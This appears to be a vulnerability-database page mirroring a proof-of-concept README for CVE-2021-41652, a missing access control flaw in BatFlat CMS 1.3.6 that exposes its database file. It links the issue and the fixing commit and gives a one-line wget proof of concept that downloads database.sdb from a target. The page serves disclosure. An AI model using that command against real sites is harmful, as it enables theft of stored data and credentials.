CVE-2021-41652 PoC — BatFlat CMS 安全漏洞

Source

https://github.com/deathflash1411/cve-2021-41652

Associated Vulnerability

Title:BatFlat CMS 安全漏洞 (CVE-2021-41652)
Description:Insecure permissions in the file database.sdb of BatFlat CMS v1.3.6 allows attackers to dump the entire database.

Description

Missing Access Control in BatFlat CMS 1.3.6

Readme

# CVE-2021-41652

**Description:** Missing Access Control in BatFlat CMS 1.3.6

**Vulnerable App:** [Download](https://github.com/sruupl/batflat/archive/master.zip) (reset to commit `0c9511fb342fbdd17fd0d1d0cccafc8ae43b6189`)

**Github Issue:** [https://github.com/sruupl/batflat/issues/113](https://github.com/sruupl/batflat/issues/113)

**Fixed Commit:** [9211d84406d63c575b079619137aff74b67cd344](https://github.com/sruupl/batflat/commit/9211d84406d63c575b079619137aff74b67cd344)

**Proof Of Concept:** `wget https://<target-ip>/inc/data/database.sdb`

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!